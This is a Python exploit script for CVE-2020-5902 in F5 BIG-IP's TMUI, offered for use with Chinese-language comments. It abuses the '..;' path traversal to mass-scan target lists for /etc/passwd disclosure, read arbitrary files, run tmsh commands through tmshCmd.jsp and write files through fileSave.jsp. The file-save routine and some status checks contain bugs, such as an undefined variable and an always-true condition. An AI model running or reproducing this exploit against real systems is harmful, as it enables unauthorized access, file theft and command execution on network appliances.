# encoding:utf-8
import requests
import sys
requests.packages.urllib3.disable_warnings()
import argparse
def testpoc(args):
    urls = open('{0}'.format(args.targets),'r')#'{0}'.format(args.targets)表示获取main函数里面的args.targets值赋给testpoc()
    for url in urls:
        try:
            fileread = "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
            url = url.replace("\n","")
            uurl = url + fileread
            result = requests.get(uurl,timeout = 5,verify=False)
            if "root:x:0:0:root:" in result.text:
                print(url + "\t\t\t------->True")
            elif int(result.status_code) == 404 or 302:
                print(url + "\t\t\t------->Non-Existent")
            elif int(result.status_code) == 500:
                print(url + "\t\t\t------->Insufficient Authority")
        except Exception:
            print(url + "\t\t\t------->Time Out")
def fileread(args):
    result = requests.get("{0}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName={1}".format(args.url,args.fileRead),timeout = 5,verify=False)
    if int(result.status_code) == 200:
        print(result.text)
    elif int(result.status_code) == 500:
        print("Insufficient authority")
    elif int(result.status_code) == 404 or 302:
        print("non-existent")
def rce(args):
    result = requests.get("{0}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/root/.bash_history".format(args.url),timeout = 5,verify=False)
    if int(result.status_code) == 500:
        result = requests.get("{0}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command={1}".format(args.url,args.bash),timeout = 5,verify=False)
        print(result.text)
    else:
        print("Insufficient authority")
def filesave(args):
    content = open("{0}".format(args.content),'r')
    data = {'fileName':"{0}}",'content':"{1}".format(args.content)}
    result = requests.post("{0}/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp".format(args.url),data,timeout = 5,verify = False)
    if int(result.status_code) == 200:
        print(fileName + "\t\t\t------->success")
    elif int(result.status_code) == 500:
        print("Insufficient authority")
    else:
        print("unknown error")

def main():
    parser = argparse.ArgumentParser(description= 'Big-IP RCE CVE-2020-5902 ')
    parser.add_argument('-m','--models',type = str,default = 'f',required = True,help ='')
    parser.add_argument('-t','--targets',type = str,default = 'targets.txt',required = False,help = '*Usage : python BIG-F5RCE.py -m t -t /tmp/urls.txt')
    parser.add_argument('-u','--url',type = str,required = False,help = '*Usage : python BIG-F5RCE.py -m r -u https://127.0.0.1')
    parser.add_argument('-f','--fileRead',type = str,default = '/etc/passwd',required = False,help = '*Usage : python BIG-F5RCE.py -m r -u https://127.0.0.1 -f /etc/passwd')
    parser.add_argument('-c','--bash',type = str,default = "list+auth+user+admin",required = False,help = "*Usage : python BIG-F5RCE.py -m c -u https://127.0.0.1 -c list+/tmp/cmd")
    parser.add_argument('-s','--saveName',type = str,default = "/tmp/cmd",required = False,help = '*Usage : python BIG-F5RCE.py -m s -u https://127.0.0.1 -s /tmp/cmd')
    parser.add_argument('-C','--content',type = str,default = "content.txt",required = False,help = '*Usage : python BIG-F5RCE.py -m s -u https://127.0.0.1 -s /tmp/cmd -C content.txt')
    args = parser.parse_args()
    if args.models == 'r':
        fileread(args)
    elif args.models == 'c':
        rce(args)
    elif args.models == 's':
        filesave(args)
    elif args.models == 't':
        testpoc(args)
if __name__ == '__main__':
	print('''
Explame:
python BIG-F5RCE.py -m t -t targets.txt //批量检测
python BIG-F5RCE.py -m r -u https://127.0.0.1 -f /etc/passwd  //读取指定文件
python BIG-F5RCE.py -m c -u https://127.0.0.1 -c list+auth+user+admin //命令执行
python BIG-F5RCE.py -m c -u https://127.0.0.1 -s /tmp/cmd -C content.txt
	''')
	main()
